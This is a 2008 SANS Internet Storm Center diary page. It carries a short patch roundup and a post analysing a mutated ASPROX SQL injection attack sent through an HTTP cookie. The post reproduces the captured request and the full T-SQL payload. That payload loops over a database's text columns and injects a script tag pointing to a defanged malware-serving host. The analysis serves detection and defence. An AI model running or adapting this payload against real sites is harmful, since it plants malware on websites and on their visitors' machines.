Threat Level: green Handler on Duty: Russell Eubanks

SANS ISC: InfoSec Handlers Diary Blog - Internet Storm Center Diary 2008-09-29 InfoSec Handlers Diary Blog

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Patchbag: WinZip / MPlayer / RealWin SCADA vuln

Published: 2008-09-29
Last Updated: 2008-09-29 20:28:18 UTC
by Daniel Wesemann (Version: 1)
0 comment(s)

A couple patches: WinZip11 on W2000 GDIlib vulnerability: and MPlayer Buffer Overflow:

Further, the RealFlex RealWin 2.0 SCADA system seems vulnerable to a remote unauthenticated buffer overflow. No patch yet. If you run this software on your SCADA, now is the time to double-check if you have port tcp/910 nicely filtered. Otherwise, soon enough, someone else will be checking for you....: and

0 comment(s)

ASPROX mutant

Published: 2008-09-29
Last Updated: 2008-09-29 16:56:57 UTC
by Daniel Wesemann (Version: 2)
0 comment(s)

ISC reader Mike wrote in to share an interesting new twist on the ongoing SQL injections. What he found in his logs was the following

POST /removed.asp HTTP/1.1
Cookie: start=S end=Z%3BDECLARE%20@S%20VARCHAR(4000)%3BSET%20@S%3DCAST(0x44454....
Content-Type: application/x-www-form-urlencoded
Host: removed
Content-Length: 3
Expect: 100-continue
Connection: Keep-Alive

The injection itself (starting with DECLARE...) looks a lot like the technique used by ASPROX (see our earlier diary), but that the injection attempt here is made not via the URL but rather via a cookie is a new twist.  Mike was able to capture the full code block:

DECLARE @T varchar(255),@C varchar(255),@X varchar(255) DECLARE Table_Cursor
CURSOR FOR select,,b.xtype from sysobjects a,syscolumns b where and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or
b.xtype=167) and<>'dtproperties' and not in(select parent_obj
from sysobjects where xtype='d') OPEN Table_Cursor FETCH NEXT FROM
Table_Cursor INTO @T,@C,@X WHILE(@@FETCH_STATUS=0) BEGIN if (@X=167 or
@X=231) exec('alter table ['+@T+'] alter column ['+@C+']
varchar(1000);update ['+@T+'] set ['+@C+']=['+@C+']+''<script
src=hxxp://ytgw123:cn></script>''') else exec('update ['+@T+'] set
src=hxxp://ytgw123:cn></script>''') FETCH NEXT FROM Table_Cursor INTO
@T,@C,@X END CLOSE Table_Cursor DEALLOCATE Table_Cursor

While this again looks reasonably similar to the earlier injections, we haven't seen this particular form before. The URL has been defanged above, but is still live. It dishes out a handful of exploits, and in the end delivers a file called "x.exe" that looks like yet another password stealer, but has poor detection at this time (Virustotal). One of the exploits contains the string "I LOVE gameee TEAM".  Well: We don't.

Please let us know if you see attempted SQL injection via cookies in your logs.

Update 1650UTC: If you use Google to check for sites containing ytgw123-dot-cn, you'll see that the wave is still spreading. As your users will likely encounter such infected sites for weeks to come, add this domain to your URL block list!

0 comment(s)
Diary Archives